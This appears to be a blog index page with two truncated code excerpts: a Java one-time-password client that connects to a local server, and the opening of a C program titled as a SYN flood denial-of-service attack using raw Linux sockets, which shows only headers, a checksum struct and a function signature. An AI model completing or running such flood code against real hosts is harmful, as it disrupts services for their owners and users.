OTP Client (Java)

import java.util.*; import java.io.*; import java.net.*; class OTPClient { public static void main(String args[]) throws IOException { Scanner scan = new Scanner(System.in); System.out.println(“Connecting to the server…”); Socket clientSocket = new Socket(“localhost”, 7777); PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true); BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); // Client enters ID. This will be used by the program for verifying who // is communicating as well as check … Continue reading OTP Client (Java)

Denial of Service (DoS) attack (C)

/* Syn Flood DOS with LINUX sockets */ #include<stdio.h> #include<string.h> //memset #include<sys/socket.h> #include<stdlib.h> //for exit(0); #include<errno.h> //For errno – the error number #include<netinet/tcp.h> //Provides declarations for tcp header #include<netinet/ip.h> //Provides declarations for ip header struct pseudo_header //needed for checksum calculation { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }; unsigned short csum(unsigned short *ptr,int … Continue reading Denial of Service (DoS) attack (C)